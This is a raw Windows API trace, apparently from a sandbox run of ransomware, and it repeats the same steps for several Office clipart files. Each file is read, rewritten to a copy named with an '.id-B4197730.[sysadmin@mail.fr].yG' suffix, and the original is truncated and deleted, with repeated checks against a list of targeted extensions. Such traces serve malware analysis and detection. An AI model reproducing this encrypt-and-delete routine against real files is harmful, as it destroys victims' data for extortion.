	[0183.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220
	[0183.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.516] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.516] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.517] GetLastError () returned 0x0
	[0183.517] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0183.907] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x900, lpOverlapped=0x0) returned 1
	[0183.908] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.908] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.908] SetEndOfFile (hFile=0x378) returned 1
	[0183.908] CloseHandle (hObject=0x378) returned 1
	[0183.908] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.909] SetEndOfFile (hFile=0x374) returned 1
	[0183.910] CloseHandle (hObject=0x374) returned 1
	[0183.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1
	[0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.911] lstrlenW (lpString=".doc") returned 4
	[0183.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.911] lstrlenW (lpString=".docx") returned 5
	[0183.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.911] lstrlenW (lpString=".pdf") returned 4
	[0183.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.911] lstrlenW (lpString=".xls") returned 4
	[0183.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.911] lstrlenW (lpString=".xlsx") returned 5
	[0183.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.911] lstrlenW (lpString=".ppt") returned 4
	[0183.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.911] lstrlenW (lpString=".zip") returned 4
	[0183.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.912] lstrlenW (lpString=".rar") returned 4
	[0183.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.912] lstrlenW (lpString=".bz2") returned 4
	[0183.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.912] lstrlenW (lpString=".7z") returned 3
	[0183.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.912] lstrlenW (lpString=".dbf") returned 4
	[0183.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.912] lstrlenW (lpString=".1cd") returned 4
	[0183.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.912] lstrlenW (lpString=".jpg") returned 4
	[0183.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.912] lstrlenW (lpString=".doc") returned 4
	[0183.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.912] lstrlenW (lpString=".docx") returned 5
	[0183.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.912] lstrlenW (lpString=".pdf") returned 4
	[0183.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.912] lstrlenW (lpString=".xls") returned 4
	[0183.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.912] lstrlenW (lpString=".xlsx") returned 5
	[0183.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.913] lstrlenW (lpString=".ppt") returned 4
	[0183.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.913] lstrlenW (lpString=".zip") returned 4
	[0183.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.913] lstrlenW (lpString=".rar") returned 4
	[0183.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.913] lstrlenW (lpString=".bz2") returned 4
	[0183.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.913] lstrlenW (lpString=".7z") returned 3
	[0183.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.913] lstrlenW (lpString=".dbf") returned 4
	[0183.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.913] lstrlenW (lpString=".1cd") returned 4
	[0183.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0183.913] lstrlenW (lpString=".jpg") returned 4
	[0183.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.913] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.914] lstrlenW (lpString="EN00319_.WMF") returned 12
	[0183.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.914] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=2280) returned 1
	[0183.914] CloseHandle (hObject=0x374) returned 1
	[0183.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220
	[0183.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.915] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.915] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.916] GetLastError () returned 0x0
	[0183.916] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x8e8, lpOverlapped=0x0) returned 1
	[0183.917] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x8f0, lpOverlapped=0x0) returned 1
	[0183.918] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.918] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.919] SetEndOfFile (hFile=0x378) returned 1
	[0183.919] CloseHandle (hObject=0x378) returned 1
	[0183.919] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.919] SetEndOfFile (hFile=0x374) returned 1
	[0183.920] CloseHandle (hObject=0x374) returned 1
	[0183.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.921] lstrlenW (lpString=".doc") returned 4
	[0183.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.921] lstrlenW (lpString=".docx") returned 5
	[0183.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.921] lstrlenW (lpString=".pdf") returned 4
	[0183.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.921] lstrlenW (lpString=".xls") returned 4
	[0183.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.922] lstrlenW (lpString=".xlsx") returned 5
	[0183.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.922] lstrlenW (lpString=".ppt") returned 4
	[0183.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.922] lstrlenW (lpString=".zip") returned 4
	[0183.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.922] lstrlenW (lpString=".rar") returned 4
	[0183.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.922] lstrlenW (lpString=".bz2") returned 4
	[0183.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.922] lstrlenW (lpString=".7z") returned 3
	[0183.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.922] lstrlenW (lpString=".dbf") returned 4
	[0183.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.922] lstrlenW (lpString=".1cd") returned 4
	[0183.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.922] lstrlenW (lpString=".jpg") returned 4
	[0183.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.923] lstrlenW (lpString=".doc") returned 4
	[0183.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.923] lstrlenW (lpString=".docx") returned 5
	[0183.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.923] lstrlenW (lpString=".pdf") returned 4
	[0183.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.923] lstrlenW (lpString=".xls") returned 4
	[0183.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.923] lstrlenW (lpString=".xlsx") returned 5
	[0183.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.923] lstrlenW (lpString=".ppt") returned 4
	[0183.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.924] lstrlenW (lpString=".zip") returned 4
	[0183.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.924] lstrlenW (lpString=".rar") returned 4
	[0183.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.924] lstrlenW (lpString=".bz2") returned 4
	[0183.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.924] lstrlenW (lpString=".7z") returned 3
	[0183.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.924] lstrlenW (lpString=".dbf") returned 4
	[0183.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.924] lstrlenW (lpString=".1cd") returned 4
	[0183.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0183.924] lstrlenW (lpString=".jpg") returned 4
	[0183.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.924] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.924] lstrlenW (lpString="EN00320_.WMF") returned 12
	[0183.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.925] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=736) returned 1
	[0183.925] CloseHandle (hObject=0x374) returned 1
	[0183.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220
	[0183.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.926] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.926] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.927] GetLastError () returned 0x0
	[0183.927] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x2e0, lpOverlapped=0x0) returned 1
	[0183.928] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x2f0, lpOverlapped=0x0) returned 1
	[0183.929] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.929] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.929] SetEndOfFile (hFile=0x378) returned 1
	[0183.930] CloseHandle (hObject=0x378) returned 1
	[0183.930] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.930] SetEndOfFile (hFile=0x374) returned 1
	[0183.931] CloseHandle (hObject=0x374) returned 1
	[0183.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1
	[0183.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.932] lstrlenW (lpString=".doc") returned 4
	[0183.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.932] lstrlenW (lpString=".docx") returned 5
	[0183.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.932] lstrlenW (lpString=".pdf") returned 4
	[0183.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.932] lstrlenW (lpString=".xls") returned 4
	[0183.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.932] lstrlenW (lpString=".xlsx") returned 5
	[0183.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.932] lstrlenW (lpString=".ppt") returned 4
	[0183.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.932] lstrlenW (lpString=".zip") returned 4
	[0183.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.933] lstrlenW (lpString=".rar") returned 4
	[0183.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.933] lstrlenW (lpString=".bz2") returned 4
	[0183.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.933] lstrlenW (lpString=".7z") returned 3
	[0183.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.933] lstrlenW (lpString=".dbf") returned 4
	[0183.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.933] lstrlenW (lpString=".1cd") returned 4
	[0183.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.933] lstrlenW (lpString=".jpg") returned 4
	[0183.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.934] lstrlenW (lpString=".doc") returned 4
	[0183.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.934] lstrlenW (lpString=".docx") returned 5
	[0183.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.934] lstrlenW (lpString=".pdf") returned 4
	[0183.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.934] lstrlenW (lpString=".xls") returned 4
	[0183.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.934] lstrlenW (lpString=".xlsx") returned 5
	[0183.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.934] lstrlenW (lpString=".ppt") returned 4
	[0183.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.934] lstrlenW (lpString=".zip") returned 4
	[0183.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.934] lstrlenW (lpString=".rar") returned 4
	[0183.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.934] lstrlenW (lpString=".bz2") returned 4
	[0183.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.934] lstrlenW (lpString=".7z") returned 3
	[0183.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.934] lstrlenW (lpString=".dbf") returned 4
	[0183.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.935] lstrlenW (lpString=".1cd") returned 4
	[0183.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0183.935] lstrlenW (lpString=".jpg") returned 4
	[0183.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.935] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.935] lstrlenW (lpString="EN00397_.WMF") returned 12
	[0183.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.936] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=17308) returned 1
	[0183.936] CloseHandle (hObject=0x374) returned 1
